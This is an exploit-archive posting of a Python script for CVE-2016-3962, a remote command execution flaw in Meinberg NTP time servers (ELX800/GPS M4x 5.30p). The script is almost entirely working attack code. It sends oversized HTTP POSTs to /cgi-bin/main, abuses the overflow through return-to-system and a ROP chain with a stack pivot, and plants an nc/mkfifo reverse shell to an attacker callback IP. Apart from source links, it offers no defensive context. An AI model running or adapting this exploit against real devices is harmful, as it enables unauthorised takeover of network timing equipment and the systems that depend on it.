Meinberg NTP Time Server ELX800/GPS M4x 5.30p Command Execution
Posted on 19 July 2016
#!/usr/bin/python # # EDB Note: Source ~ https://github.com/securifera/CVE-2016-3962-Exploit # EDB Note: More info ~ https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/ # # 271 - trigger notifications # 299 - copy user defined notifications # Kernel Version: 2.6.15.1 # System Version: 530 # Lantime configuration utility 1.27 # ELX800/GPS M4x V5.30p import socket import struct import telnetlib import sys import time if len(sys.argv) < 3: print "[-] <Host> <Callback IP> " exit(1) host = sys.argv[1] callback_ip = sys.argv[2] print "[+] exploiting Meinburg M400" port = 80 ################################################################### # # Copy user_defined_notification to /www/filetmp # Append reverse shell string to /file/tmp # csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) ) param = "A" * 0x2850 resp = "POST /cgi-bin/main HTTP/1.1 " resp += "Host: " + host + " " resp += "User-Agent: Mozilla/5.0 " resp += "Accept: text/html " resp += "Accept-Language: en-US " resp += "Connection: keep-alive " resp += "Content-Type: application/x-www-form-urlencoded " system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 #must have a listener setup to receive the callback connection on ip 192.168.60.232 # i.e. nc -v -l -p 4444 command = 'cp /mnt/flash/config/user_defined_notification /www/filetmp; echo "{rm,/tmp/foo};{mkfifo,/tmp/foo};/bin/bash</tmp/foo|{nc,' + callback_ip +'0,4444}>/tmp/foo;" >> /www/filetmp' msg = "button=" + "A"*10028 msg += struct.pack("I", system ) msg += struct.pack("I", exit ) msg += struct.pack("I", some_str ) msg += command + "x00" resp += "Content-Length: " + str(len(msg)) + " " resp += msg csock.send(resp) csock.close() time.sleep(1) ################################################################### # # Copy /www/filetmp to user_defined_notification # csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) ) param = "A" * 0x2850 resp = "POST /cgi-bin/main HTTP/1.1 " resp += "Host: " + host + " " resp += "User-Agent: Mozilla/5.0 " resp += "Accept: text/html " resp += "Accept-Language: en-US " resp += "Connection: keep-alive " resp += "Content-Type: application/x-www-form-urlencoded " send_cmd = 0x807ED88 system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 ret = 0x804CE65 #stack pivot stack_pivot = 0x8049488 msg = "button=" + "A" * 9756 msg += "B" * 28 msg += struct.pack("I", 0x7FFEE01A ) # ebp msg += struct.pack("I", 0x0804ce64 ) # pop eax ; ret msg += struct.pack("I", some_str - 0x100 ) # some place msg += struct.pack("I", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret msg += struct.pack("I", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret msg += struct.pack("I", ret ) * (71/4) msg += struct.pack("I", send_cmd ) msg += struct.pack("I", exit ) msg += struct.pack("I", 0x80012111 ) # [eax + 0x60] msg += struct.pack("I", some_str ) # buffer msg += struct.pack("I", 0xffffffff ) # count msg += "E" * 120 msg += struct.pack("I", 0xB1E8B434 ) # ebx msg += struct.pack("I", some_str - 100 ) # esi msg += struct.pack("I", some_str - 100 ) # edi msg += struct.pack("I", some_str - 0x100 ) # ebp msg += struct.pack("I", stack_pivot ) # mov esp, ebp ; ret msg += "A" * 100 resp += "Content-Length: " + str(len(msg)) + " " resp += msg csock.send(resp) csock.close time.sleep(1) ################################################################### # # Trigger reverse shell # csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) ) param = "A" * 0x2850 resp = "POST /cgi-bin/main HTTP/1.1 " resp += "Host: " + host + " " resp += "User-Agent: Mozilla/5.0 " resp += "Accept: text/html " resp += "Accept-Language: en-US " resp += "Connection: keep-alive " resp += "Content-Type: application/x-www-form-urlencoded " send_cmd = 0x807ED88 system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 ret = 0x804CE65 #stack pivot stack_pivot = 0x8049488 msg = "button=" + "A" * 9756 msg += "B" * 28 msg += struct.pack("I", 0x7FFEE01A ) # ebp msg += struct.pack("I", 0x0804ce64 ) # pop eax ; ret msg += struct.pack("I", some_str - 0x100 ) # some place msg += struct.pack("I", 0x080855cc ) # add dword ptr [eax + 0x60], ebp ; ret msg += struct.pack("I", 0x080651d4 ) # inc dword ptr [ebx + 0x566808ec] ; ret msg += struct.pack("I", ret ) * (71/4) msg += struct.pack("I", send_cmd ) msg += struct.pack("I", exit ) msg += struct.pack("I", 0x800120f5 ) # [eax + 0x60] msg += struct.pack("I", some_str ) # buffer msg += struct.pack("I", 0xffffffff ) # count msg += "E" * 120 msg += struct.pack("I", 0xB1E8B434 ) # ebx msg += struct.pack("I", some_str - 100 ) # esi msg += struct.pack("I", some_str - 100 ) # edi msg += struct.pack("I", some_str - 0x100 ) # ebp msg += struct.pack("I", stack_pivot ) # mov esp, ebp ; ret msg += "A" * 100 resp += "Content-Length: " + str(len(msg)) + " " resp += msg csock.send(resp) csock.close() time.sleep(1) print "[+] cleaning up" ################################################################### # # Kill all mains that are hung-up # csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM) csock.connect ( (host, int(port)) ) param = "A" * 0x2850 resp = "POST /cgi-bin/main HTTP/1.1 " resp += "Host: " + host + " " resp += "User-Agent: Mozilla/5.0 " resp += "Accept: text/html " resp += "Accept-Language: en-US " resp += "Connection: keep-alive " resp += "Content-Type: application/x-www-form-urlencoded " system = 0x80490B0 exit = 0x80492C0 some_str = 0x850BDB8 command = 'killall main' msg = "button=" + "A"*10028 msg += struct.pack("I", system ) msg += struct.pack("I", exit ) msg += struct.pack("I", some_str ) msg += command + "x00" resp += "Content-Length: " + str(len(msg)) + " " resp += msg csock.send(resp) csock.close() print "[+] enjoy"
